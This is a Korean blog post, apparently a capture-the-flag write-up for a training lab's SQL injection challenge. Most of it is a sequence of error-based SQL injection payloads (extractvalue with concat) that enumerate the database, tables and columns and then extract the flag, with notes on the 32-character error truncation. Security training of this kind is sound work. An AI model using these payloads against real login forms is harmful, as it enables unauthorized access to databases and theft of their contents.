※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)
※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.
→ SQL Injection 근거로 찾아가봅니다.
→ ID에 1' or extractvalue('1', concat(':', database() )) # 와 PW에는 아무 값이나 입력하니 DB명이 도출되었다.
▶ Error Based SQLi 공격포맷 정립
→ ID 입력란에 1' or extractvalue('1', concat(':', (SQL구문) )) #
▶ 1단계 DB이름
→ 1' or extractvalue('1', concat(':', database() )) #
→ 현재 DB이름 sqli_2_1
▶ 2단계 Table이름
→ 1' or extractvalue('1', concat(':', (SELECT table_name FROM information_schema.tables WHERE table_schema='sqli_2_1') )) # // 1줄 이상이라고 나왔다.
→ 1' or extractvalue('1', concat(':', (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='sqli_2_1') )) # // ':flag_table,member' 나왔다.
▶ 3단계 flag_table의 COLUMN 이름
→ 1' or extractvalue('1', concat(':', (SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='sqli_2_1' and table_name='flag_table'))) # // ':flag1,flag2,flag3,flag4,flag5,f' 이렇게 나왔는데 알고보니 잘려서 나온 것이었다. 나중에 알고보니 32자까지 표현이 가능 했다.
→ 1' or extractvalue('1', concat(':', (SELECT column_name FROM information_schema.columns WHERE table_schema='sqli_2_1' and table_name='flag_table' limit 7,1))) # // ':flag8'
→ 1' or extractvalue('1', concat(':', (SELECT column_name FROM information_schema.columns WHERE table_schema='sqli_2_1' and table_name='flag_table' limit 8,1))) # // 이제는 없었다.
▶ 4단계 값 알아내기
→ 1' or extractvalue('1', concat(':', (SELECT group_concat(flag1) FROM flag_table))) # // ':segfault{1' 이렇게 나왔다.
→ flag1 속성 값부터 flag8 속성에 있는 값까지 이어 붙이라는 뜻 같다.
→ CONCAT()를 사용해본다.
→ 1' or extractvalue('1', concat(':', concat((SELECT flag1 FROM flag_table),(SELECT flag2 FROM flag_table),(SELECT flag3 FROM flag_table),(SELECT flag4 FROM flag_table)))) # // 플래그 앞의 반 정도가 나왔다.
→ 1' or extractvalue('1', concat(':', concat((SELECT flag5 FROM flag_table),(SELECT flag6 FROM flag_table),(SELECT flag7 FROM flag_table),(SELECT flag8 FROM flag_table)))) # // 플래그 뒤의 반 정도가 나왔다.
→ 플래그 획득
에러 메시지는 32자까지 표현이 가능한가보다.
Segfault CTF - (7주 차) SQL Injection 6 (0) | 2024.06.05 |
---|---|
Segfault CTF - (7주 차) SQL Injection 5 (1) | 2024.06.05 |
Segfault CTF - (7주 차) SQL Injection 3 (0) | 2024.06.05 |
Segfault CTF - (7주 차) SQL Injection (Blind Practice) (1) | 2024.06.05 |
Segfault CTF - (7주 차) SQL Injection (Error Based SQLi Basic) (0) | 2024.06.05 |